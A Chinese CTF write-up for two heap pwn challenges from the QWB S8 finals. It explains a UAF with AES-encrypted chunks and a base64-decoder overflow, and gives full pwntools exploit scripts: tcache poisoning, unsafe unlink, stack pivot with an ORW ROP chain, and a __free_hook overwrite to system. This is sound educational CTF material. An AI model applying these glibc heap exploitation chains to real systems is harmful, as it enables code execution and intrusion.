• 强网杯S8决赛pwn writeup

同样的，决赛也出了两道pwn题，感觉挺有意思的，来补补wp。

<!--more-->

heap

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环境准备

这题一开始最大的一个问题可能是题目依赖较多跑不起来，而且只给了 libc 的版本，是 2.31 9.16 版本，这个比较好说。如果是 libcrypto.1.1 这个库不存在也好说，apt 安装就好了。

照常换了 runpath 和链接器之后报了一个神奇的错误。

图片描述

这里的意思就是，虽然你 elf 文件的 libc 换好了，但是 libcrypto.so.1 这个库用的是高版本的 libc，你换了之后 libcrypto.so.1 有些引用了高版本 glibc 的函数就用不了了，所以索性在加载的时候报出错误存在这个问题。

解决这个问题也很简单，如果不想影响机器的 libcrypto 库那就复制一份出来，将依赖修改到本地的备份版本即可，再用 --replace-needed 参数去替换依赖库。

例子：

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patchelf --replace-needed libcrypto.so.1.1 ./libcrypto.so.1.1 ./heap

此时你还需要将 libcrypto.so.1.1 的依赖库换成对应的版本，才能正常运行。

最终修改完以来之后，你的两个文件依赖项应该如下所示：

这样你就能正常运行这个题目了。

题目分析

题目很友好，没有去符号，init_system 里面初始化了 Key，heap_base，和沙箱。

沙箱就是简单地禁用了 execve 调用，增删改查一应俱全，一步步分析。

增

下标 0-15还挺大，固定分配 0x30 大小的堆块，读入也是这么长，随后使用 AES 加密保存输入的内容。

注意到使用了 safe_malloc，而 safe_malloc 检查了 malloc 的返回值，需要与 key 所分配的堆块在同一个页上（即地址除了最低三位十六进制不同，其它必须相同），这样就会导致我们很多漏洞不能利用。

删

明显是存在 UAF 漏洞的。

改

同样 AES 加密内容改了上去。

查

将堆块内容 AES 解密后输出。

加密函数

可以观察到，当 a2 < 16 的时候是不会进行加密的，也就是说输入的明文会直接存储到堆上，解密函数同理。

漏洞分析

UAF是主要的漏洞点，根据UAF可以搞很多事，同时也有许多限制，来列一下目前的限制：

  1. 堆块分配的地址被定死在了堆首的第一个页
  2. 输入的内容超过16字节会被随机Key加密。
  3. 沙箱保护

对应的解决措施如下：

  1. 堆块指针被限制了那么就可以不用堆块分配指针，而是直接劫持指针，而堆攻击手法里面可以直接劫持指针的方法就是 unsafe unlink了。
  2. 被随机密钥加密首先就想到，可以利用一个 tcache bin attack 劫持 key 所在的堆块，将密钥强制写为 0 字节，这样密钥就等于已知，但是密钥有 16 个长度怎么办呢？刚好 2.31 tcache 取出 free 块的时候会清空 bk 指针，因此写入 8 字节就可以达到清空 Key 的目的。
  3. 沙箱保护 orw 即可绕过。

理论可行，下面来实践

EXP编写

据此构造交互函数

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from Crypto.Cipher import AES
def encrypt(data):
    key=b'\x00'*16
    cipher = AES.new(key, AES.MODE_ECB)
    return cipher.encrypt(data)
def decrypt(data):
    key=b'\x00'*16
    cipher = AES.new(key, AES.MODE_ECB)
    return cipher.decrypt(data)
 
def choice(i):
    p.sendafter('>> ',str(i))
 
def add(idx,content):
    choice(1)
    p.sendlineafter('idx: ',str(idx))
    p.sendafter('content: ',content)
def free(idx):
    choice(2)
    p.sendlineafter('idx: ',str(idx))
def show(idx):
    choice(3)
    p.sendlineafter('idx: ',str(idx))
def edit(idx,content):
    choice(4)
    p.sendlineafter('idx: ',str(idx))
    p.sendafter('content: ',content)

由于 unsafe unlink 的利用手法需要知道堆指针的地址，而题目程序开了 PIE，所以第一步要先想办法泄露程序的基地址。

注意到解密函数是将内容解密到栈上输出的，因此栈上可能有可以利用的地址。

0x20 个 a 扔过去发现的确存在一个程序基地址，虽然被覆盖了两个字节，但是依稀可辨。在比赛中我选择了爆破这半个字节，但其实完全没必要，因为可以发现被覆盖的两个字节是由于自己输入了 3\n，而这里的数字输入显然使用 read，那就没必要输入这个回车，可以少覆盖一个字节，这样就完全不用爆破。

将交互函数的 line 去掉如下所示

拿到了 code_base 之后，tcache bin attack，这里这样操作：free 两个堆块，再改最后进入的堆块的 fd 指针到 key 堆块的位置。因为 2.31 版本的 tcache 有数量检查，如果检查到数量为0，即使 tcache存的堆块指针不为 0，那也不会被分配。

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add(0,b'a'*0x20)
show(0)
code_base=u64(p.recvuntil(b'\nP')[-8:-2].ljust(8,b'\x00'))-0x1233
success('code_base: '+hex(code_base))
add(1,b'a'*(0x8+6))
free(0)
free(1)
edit(1,p8(0xa0))
add(0,b'\x00'*8)
add(0,'\x00'*8)
gdb.attach(p)

成功将 Key 写为 0

之后尝试泄露一下 heap 的地址，因为需要构造 unsorted bin，需要堆重叠修改 size，因此这里泄露堆地址是比较方便的。

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add(0,b'a'*0x10)
free(0)
show(0)
show(0)
data=p.recv(16)
res=encrypt(data)
heap_addr=u64(res[8:])-0x10
success('heap_addr: '+hex(heap_addr))

也很简单，free 一个块让它带地址直接 show 即可，但是会用 Key 解密之后输出，因此我们想要得到原堆块的地址就需要对结果进行加密，密钥已知，也是很容易得出的。

紧接着再来一个 tcache bin attack，构造堆重叠，修改堆块的大小，free 掉，得到 unsorted bin，泄露得 libc 的地址（同时后面也是知道，我都unsafe unlink了，我还泄露libc地址干嘛呢？？）。

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add(0,decrypt(b'a'*8+p64(0x431)+p64(0)*4)[:48])
add(14,b'a'*8)
add(3,b'a'*8)
free(14)
free(3)
edit(3,p64(heap_addr+0x350))
add(2,b'a'*8)
add(3,b'a'*8)
for i in range(0x10):
    add(2,b'a'*0x8)
free(3)
show(0)
data=p.recv(32)
res=encrypt(data)
#print(res.hex())
libc_addr=u64(res[8*3:8*4])-0x215be0+0x029000
success('libc_addr: '+hex(libc_addr))

这里我用了 14 这个下标是因为这个地方的指针比较重要（做到后面才发现的）。

此刻，便是良机，构造 unsafe unlink。

unsafe unlink

讲解一下 unsafe unlink 的原理，glibc 除了 tcache bin 和 fastbin 是单链表管理之外，其余都是双链表管理，单链表管理的堆块普遍不参与相邻内存合并（consolidate）的操作。

而合并操作需要涉及解链（unlink），为什么需要解链才能合并。因为合并后得到是一个新的大小的堆块，不管是 small bin 还是 largebin，对大小都有严格的限制，所以合并必须 unlink。

解链我们找找 glibc 中的定义

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/* Take a chunk off a bin list.  */
static void
unlink_chunk (mstate av, mchunkptr p)
{
  if (chunksize (p) != prev_size (next_chunk (p)))
    malloc_printerr ("corrupted size vs. prev_size");
 
  mchunkptr fd = p->fd;
  mchunkptr bk = p->bk;
 
  if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
    malloc_printerr ("corrupted double-linked list");
 
  fd->bk = bk;
  bk->fd = fd;
  if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
    {
      if (p->fd_nextsize->bk_nextsize != p
      || p->bk_nextsize->fd_nextsize != p)
    malloc_printerr ("corrupted double-linked list (not small)");
 
      if (fd->fd_nextsize == NULL)
    {
      if (p->fd_nextsize == p)
        fd->fd_nextsize = fd->bk_nextsize = fd;
      else
        {
          fd->fd_nextsize = p->fd_nextsize;
          fd->bk_nextsize = p->bk_nextsize;
          p->fd_nextsize->bk_nextsize = fd;
          p->bk_nextsize->fd_nextsize = fd;
        }
    }
      else
    {
      p->fd_nextsize->bk_nextsize = p->bk_nextsize;
      p->bk_nextsize->fd_nextsize = p->fd_nextsize;
    }
    }
}

我们看到解链的一个重要操作

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fd->bk = bk;
bk->fd = fd;

如果对应的堆块本身不处于被释放状态，意味着这个堆块的fd和bk指针我可以任意的修改。而合并是通过什么样的检测去判断呢，它有向前和向后两种合并的方式，从 glibc 源码中也不难看出，当 free 的一个块不在 fastbin 大小的范围内，便会尝试向前和向后合并。

向后合并

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/* consolidate backward */
if (!prev_inuse(p)) {
    prevsize = prev_size (p);
    size += prevsize;
    p = chunk_at_offset(p, -((long) prevsize));
    if (__glibc_unlikely (chunksize(p) != prevsize))
        malloc_printerr ("corrupted size vs. prev_size while consolidating");
    unlink_chunk (av, p);
}

向前合并

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nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
 
/* consolidate forward */
if (!nextinuse) {
    unlink_chunk (av, nextchunk);
    size += nextsize;
} else
    clear_inuse_bit_at_offset(nextchunk, 0);

可以发现，向后合并（向较小地址）主要依赖于当前释放的这个堆块的 prev_inuse 位，如果为0证明前面（较小地址）的堆块被释放了，就要向后合并，而一旦这个位为0，则检查 prev_size 字段判断堆块的大小。

同时再来看看如果没有任何检查的 unsafe unlink 会发生什么。

由于 fd 和 bk 是我任意控制的，因此我可以将 fd+0x18 的地址写上 bk 值，将 bk+0x10 的地址写上 fd 的值。但是很不幸的，它检查了 p->fd->bk==p && p->bk->fd==p，满足这些条件才能 unlink，本意很简单，一个正常的双向链表中，任意一个链表中的元素的后一个块的前一个块肯定是自己，反之同理，如果不满足则双向链表肯定发生了问题。

当然这个 check 可以绕过，首先需要一个指向 chunk 头部的指针，因此这需要我们伪造一个 chunk，而chunk头部的指针当然就是可以用分配得到的用户指针，它存放在程序代码的 bss 段中。

把 check 的条件化简一下，因为 p->fd 和 p->bk 都是任意值，因此不妨将它设为 x 和 y，那么就变成了 x->bk==p && y->fd==p，而 x->fd 与 y->bk 转为指针的写法就是 *(void **)(x+0x18)=p&&*(void **)(y+0x10)=p，取第一个等式，对等号两边同时取地址得到 (x+0x10)=&p 那么 x=&p-0x18 同理 y=&p-0x10。那么绕过这个检查的主要就是需要找到一个指向头部的指针。

在上面的基础，用下面的代码，我们来观察 unsafe unlink 的图解。

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add(4,b'a'*0x10)
add(5,b'a'*0x10)
add(6,b'a'*0x10)
add(7,b'a'*0x10)
free(6)
free(7)
edit(7,p64(heap_addr+0x10))
add(6,b'a'*8)
add(7,decrypt(b'\xff'*0x20))
book=code_base+0x4080
edit(3,decrypt(p64(0)+p64(0x31)+p64(book+0x18-0x18)+p64(book+0x18-0x10)+p64(0)*2))#+p64(0x30)+p64(0xc0)))
edit(14,decrypt(p64(0x30)+p64(0xc0)))
free(5)

结果如下

在这里，我分配了一个0x40的堆块，返回了 0x55555555c350 这个指针，通过堆重叠，在 0x40 的堆块里面包含了一个 0x30 的堆块，可以发现 0x40 指向分配给用户的指针指向了 0x30 这个堆块的头部，这是我们伪造的一个 fake chunk，这里其实不需要加 0x31 这个size，因为 unlink不检查这个size，这里写 0x31 主要是方便理解。

同时它的 fd 和 bk，分别赋值了 0x0000555555558080 和 0x0000555555558088，这个值其实就是因为我们伪造的堆块得到了一个指向头部的指针在 BookList 全局数组当中，因此上面的等式中的 &p 就有了，不难发现 &p = 0x555555558090，那么根据前面的 x 和 y 相关方程可得 x=0x0000555555558080，y=0x0000555555558088，分别对应了这里的 fd 和 bk 的位置。

最后需要伪造 prevsize 为 0x30 和将 size 的prev_inuse设置为0，才能够成功触发 unsafe unlink。

触发了 unsafe unlink 之后，可以发现，BookList[3] 得到了一个指向自身 - 0x18 的位置，同时合并堆块的操作也是成功的，这里大小为 0x421 是因为后面还有 free 块，向前也合并了。

有了这个指针，可以任意修改 BookList[0]的值，再通过 BookList[0] 指针取读写任意的地址。此刻，malloc 已经不被需要了，我已然是无敌的状态。

这里选择劫持通过 __environ 泄露栈，用栈迁移劫持栈到堆上，在堆上提前布置好 ROP 链进行 ORW 即可。

想必也是可以一气呵成了

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edit(3,decrypt(p64(code_base+0x4100)+p64(libc_addr+libc.sym['__environ'])))
#edit(0,decrypt(p32(0x10)*4))
edit(0,p32(0x10)*2)
 
show(1)
res=encrypt(p.recv(16))
print(res.hex())
stack=u64(res[:8])-0x138
success('stack: '+hex(stack))
 
#add(4,decrypt(b'a'*0x20))
leave=code_base+0x1AA4
pop_rdi=libc_addr+0x0000000000023b6a
pop_rsi=libc_addr+0x000000000002601f
pop_rdx_ret_10=libc_addr+0x00000000000dfc12
edit(3,p64(heap_addr+0xa0))
edit(0,p64(0))
edit(3,p64(heap_addr+0x10))
edit(0,p64(0))
#add(4,decrypt(p64(pop_rdi)))
 
edit(3,p64(heap_addr+0x4350))
edit(0,b'/flag')
edit(3,p64(heap_addr+0x360))
edit(0,decrypt(p64(pop_rdi)+p64(heap_addr+0x4350)+p64(pop_rsi)+p64(0)+p64(libc_addr+libc.sym['open'])+p64(pop_rdi+1)))
edit(3,p64(heap_addr+0x390))
edit(0,decrypt(p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap_addr)+p64(pop_rdx_ret_10)+p64(0x30)))
edit(3,p64(heap_addr+0x3c0))
edit(0,decrypt(p64(libc_addr+libc.sym['read'])+p64(0)*2+p64(pop_rdi+1)))
edit(3,p64(heap_addr+0x3e0))
edit(0,decrypt(p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heap_addr)+p64(pop_rdx_ret_10)+p64(0x30)))
edit(3,p64(heap_addr+0x3e0+0x30))
edit(0,decrypt(p64(libc_addr+libc.sym['write'])+p64(pop_rdi+1)))
 
edit(3,p64(stack))
gdb.attach(p,'b *0x555555555aa4')
edit(0,p64(heap_addr+0x358)+p64(leave)[:6])
 
p.interactive()

至此，已成艺术

最终 EXP

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from pwn import *
from Crypto.Cipher import AES
def encrypt(data):
    key=b'\x00'*16
    cipher = AES.new(key, AES.MODE_ECB)
    return cipher.encrypt(data)
def decrypt(data):
    key=b'\x00'*16
    cipher = AES.new(key, AES.MODE_ECB)
    return cipher.decrypt(data)
#context.log_level='debug'
p=process('./heap',aslr=False)
#p=remote('47.94.85.95',28760)
libc=ELF('./libc.so.6')
#libc=ELF('/home/xia0ji233/pwn/tools/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc.so.6')
def choice(i):
    p.sendafter('>> ',str(i))
 
def add(idx,content):
    choice(1)
    p.sendlineafter('idx: ',str(idx))
    p.sendafter('content: ',content)
def free(idx):
    choice(2)
    p.sendlineafter('idx: ',str(idx))
def show(idx):
    choice(3)
    p.sendlineafter('idx: ',str(idx))
def edit(idx,content):
    choice(4)
    p.sendlineafter('idx: ',str(idx))
    p.sendafter('content: ',content)
 
add(0,b'a'*0x20)
show(0)
code_base=u64(p.recvuntil(b'\nP')[-8:-2].ljust(8,b'\x00'))-0x1233
success('code_base: '+hex(code_base))
add(1,b'a'*(0x8+6))
free(0)
free(1)
edit(1,p8(0xa0))
add(0,b'\x00'*8)
add(0,'\x00'*8)
 
add(0,b'a'*0x10)
free(0)
show(0)
show(0)
data=p.recv(16)
res=encrypt(data)
heap_addr=u64(res[8:])-0x10
success('heap_addr: '+hex(heap_addr))
 
add(0,decrypt(b'a'*8+p64(0x431)+p64(0)*4)[:48])
add(14,b'a'*8)
add(3,b'a'*8)
free(14)
free(3)
edit(3,p64(heap_addr+0x350))
add(2,b'a'*8)
add(3,b'a'*8)
for i in range(0x10):
    add(2,b'a'*0x8)
free(3)
show(0)
data=p.recv(32)
res=encrypt(data)
#print(res.hex())
libc_addr=u64(res[8*3:8*4])-0x215be0+0x029000
success('libc_addr: '+hex(libc_addr))
 
add(4,b'a'*0x10)
add(5,b'a'*0x10)
add(6,b'a'*0x10)
add(7,b'a'*0x10)
free(6)
free(7)
edit(7,p64(heap_addr+0x10))
add(6,b'a'*8)
add(7,decrypt(b'\xff'*0x20))
book=code_base+0x4080
edit(3,decrypt(p64(0)+p64(0x31)+p64(book+0x18-0x18)+p64(book+0x18-0x10)+p64(0)*2))#+p64(0x30)+p64(0xc0)))
edit(14,decrypt(p64(0x30)+p64(0xc0)))
gdb.attach(p)
free(5)
 
 
edit(3,decrypt(p64(code_base+0x4100)+p64(libc_addr+libc.sym['__environ'])))
#edit(0,decrypt(p32(0x10)*4))
edit(0,p32(0x10)*2)
 
show(1)
res=encrypt(p.recv(16))
print(res.hex())
stack=u64(res[:8])-0x138
success('stack: '+hex(stack))
 
#add(4,decrypt(b'a'*0x20))
leave=code_base+0x1AA4
pop_rdi=libc_addr+0x0000000000023b6a
pop_rsi=libc_addr+0x000000000002601f
pop_rdx_ret_10=libc_addr+0x00000000000dfc12
edit(3,p64(heap_addr+0xa0))
edit(0,p64(0))
edit(3,p64(heap_addr+0x10))
edit(0,p64(0))
#add(4,decrypt(p64(pop_rdi)))
 
edit(3,p64(heap_addr+0x4350))
edit(0,b'/flag')
edit(3,p64(heap_addr+0x360))
edit(0,decrypt(p64(pop_rdi)+p64(heap_addr+0x4350)+p64(pop_rsi)+p64(0)+p64(libc_addr+libc.sym['open'])+p64(pop_rdi+1)))
edit(3,p64(heap_addr+0x390))
edit(0,decrypt(p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap_addr)+p64(pop_rdx_ret_10)+p64(0x30)))
edit(3,p64(heap_addr+0x3c0))
edit(0,decrypt(p64(libc_addr+libc.sym['read'])+p64(0)*2+p64(pop_rdi+1)))
edit(3,p64(heap_addr+0x3e0))
edit(0,decrypt(p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heap_addr)+p64(pop_rdx_ret_10)+p64(0x30)))
edit(3,p64(heap_addr+0x3e0+0x30))
edit(0,decrypt(p64(libc_addr+libc.sym['write'])+p64(pop_rdi+1)))
 
edit(3,p64(stack))
gdb.attach(p,'b *0x555555555aa4')
edit(0,p64(heap_addr+0x358)+p64(leave)[:6])
 
p.interactive()

这里插个题外话，可能纯做 Pwn 的师傅不太清楚，Crypto 这个库安装使用以下命令

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pip3 install cryptodome

ez_heap

附件下载

环境准备就不过多赘述了，道理都是一样的。

题目分析

堆菜单实现了存储 base64 编码和解码的增删查，虽然说菜单上看着有改的操作，也确实有对应的函数，但是没有实装。

同样的，也来分析这些函数。

base64编码增

根据输入的长度和回车的判断，去分配堆块，而这里分配的长度是 4*len/3 + 4，还算是留有余地，几乎不能够溢出。

base64解码增

这里需要注意的点来了，它这里分配的长度是 3*len/4，这个长度比较极限但是它如果强制要求你的 len 必须是 4 的倍数其实也不能利用，但是没有，所以这里打个 tag，后续着重分析这里的解码函数。

base64编码删

删不存在 UAF。

后面的base64解码删，和输出堆块就不一一演示了，都很正常的实现。

这里想起之前讲到的 base64 解码增，来看看解码函数的实现。

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unsigned __int64 __fastcall base64decode(char *a1, unsigned __int64 len, char *a3)
{
  //一大堆定义
  v16 = 0LL;
  while ( 1 )
  {
    if ( v16 >= len )
      break;
    //...
    *a3 = ((v15 << 6) + (v14 << 12) + (v13 << 18) + v9) >> 16;
    a3[1] = ((v15 << 6) + (v14 << 12) + v9) >> 8;
    a3[2] = (v15 << 6) + v9;
    a3 += 3;
  }
  return result;
}

把中间一大段去掉，保留收尾，可以发现循环条件是 v16>=len，而 a3 的输出指针每次 +3，因此这个函数在输入长度为 4 的倍数的时候是绝对好使的，但是输入是由我们控制的，因此长度可以不为 4 的倍数，而不为 4 的倍数可能会导致分配的空间不够从而导致溢出。

EXP编写

首先进行漏洞的验证。

交互函数

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def choice(i):
    p.sendlineafter('Enter your choice: ',str(i))
def add1(content):
    choice(1)
    p.sendafter(': ',content)
def add2(content):
    choice(2)
    p.sendafter(': ',content)
def free1(idx):
    choice(3)
    p.sendlineafter('idx:',str(idx))
def free2(idx):
    choice(4)
    p.sendlineafter('idx:',str(idx))
def show2(idx):
    choice(8)
    p.sendlineafter('idx:',str(idx))

首先看看编码一个 0x19 长度的字符串，但是去掉编码后的最后一个字节，我们来计算一下。

0x19 长度的字符编码之后应该是 0x24 字节，去掉一个字节变成 0x23 字节，然后这个长度进入选项 2，malloc 的参数为 0x23/4*3，即得到 0x18，所以最终分配得到 0x20 大小的 chunk。

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add2(base64.b64encode(b'a'*0x19)[:-1])#0

可以发现，最终的 top chunk 的 size 明显出了问题

需要分析一下为什么出现了 410061 这样奇怪的值，图中可以看出来我的输入是 YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYQ=，最小化之后发现主要的问题就是 YQ= 解析成了 61 00 41 这样的字节，来看看原理。

YQ 解析成第一个 a 不奇怪，Q= 解析出第二个 00 也不奇怪，这个 = 和另外一个字节（0字节）解析成了 A，来看看为什么。

看到对最后一个字节的解析

它使用 strchr 去查找该字符串在 base 表所处的位置，对于这个函数来说，如果如果找到了则返回该字符的指针，如果找不到返回 NULL，而找零字节能不能找到呢？能！就在字符串最后面，所有字符串都是 0 结尾的，所以找到的末尾指针减去首指针得到了 0x41，而 = 又等同于 0，因此看到 a[2]=(v15<<6)+v9，也能理所当然地知道为啥是 A 了。

但是这样不太自由，因为会写 size 三个字节，因此可以考虑扩展长度，让它只能溢出一个 A 字节，这样这个 A 就能被覆盖到 size 里面构造堆重叠，然后打 tcache bin attack劫持 free hook就行了。

所以还是先泄露地址，这里虽然限制了 0x400，但是别忘了 base64编码可以扩展长度，因此很轻松构造一个unsorted bin来泄露地址。

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add1(b'a'*0x400)#0
add1(b'a'*0x80)#1
free1(0)
add2(base64.b64encode(b'a'*0x9))#0
show2(0)
libc_addr=(u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0')&0xFFFFFFFFFFFFFF000)-0x1ed000
success('libc_addr: '+hex(libc_addr))

这里还有一个需要注意的点，你泄露的 libc 的地址很不幸最低 2 位十六进制都是 0，所以 puts 带不出来，因此需要多覆盖一个字节才行。

图片描述

libc 地址有了后面就是简单的重叠堆构造 uaf，但同样需要注意 tcache bin 有数量检测，如果正常 free 一个 tcache 再修改 fd，则分配不出来这个任意地址的 tcache，必须要free两个堆块，然后再 edit 后进入的堆块才能够成功分配出来。

分配出来就直接打 tcache bin 写 system 即可。

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add2(base64.b64encode(b'a'*0x30))#1
add2(b'a')#2
add2(b'a')#3
add2(b'a')#4
free2(4)
free2(3)
free2(1)
add2(base64.b64encode(b'\x00'*0x38)[:-1])#1
free2(2)
add2(base64.b64encode(b'a'*0x18+p64(0x21)+p64(libc_addr+libc.sym['__free_hook'])))#2
add2(base64.b64encode(b'/bin/sh\0'))#3
add2(base64.b64encode(p64(libc_addr+libc.sym['system'])))
free2(3)

图片描述

至此艺术已成。

完整EXP

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from pwn import *
import base64
context.log_level='debug'
p=process('./pwn')
# p=remote('47.94.85.95','37083')
libc=ELF('./libc-2.31.so')
def choice(i):
    p.sendlineafter('Enter your choice: ',str(i))
def add1(content):
    choice(1)
    p.sendafter(': ',content)
def add2(content):
    choice(2)
    p.sendafter(': ',content)
def free1(idx):
    choice(3)
    p.sendlineafter('idx:',str(idx))
def free2(idx):
    choice(4)
    p.sendlineafter('idx:',str(idx))
def show2(idx):
    choice(8)
    p.sendlineafter('idx:',str(idx))
 
add1(b'a'*0x400)#0
add1(b'a'*0x80)#1
free1(0)
add2(base64.b64encode(b'a'*0x9))#0
show2(0)
libc_addr=(u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0')&0xFFFFFFFFFFFFFF000)-0x1ed000
success('libc_addr: '+hex(libc_addr))
 
add2(base64.b64encode(b'a'*0x30))#1
add2(b'a')#2
add2(b'a')#3
add2(b'a')#4
free2(4)
free2(3)
free2(1)
add2(base64.b64encode(b'\x00'*0x38)[:-1])#1
free2(2)
add2(base64.b64encode(b'a'*0x18+p64(0x21)+p64(libc_addr+libc.sym['__free_hook'])))#2
add2(base64.b64encode(b'/bin/sh\0'))#3
add2(base64.b64encode(p64(libc_addr+libc.sym['system'])))
gdb.attach(p)
free2(3)
p.interactive()

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Editor 2024-12-19 14:48:04
有几个图片丢了 补下哦
xi@0ji233 2024-12-19 15:08:34
Editor 有几个图片丢了 补下哦
好的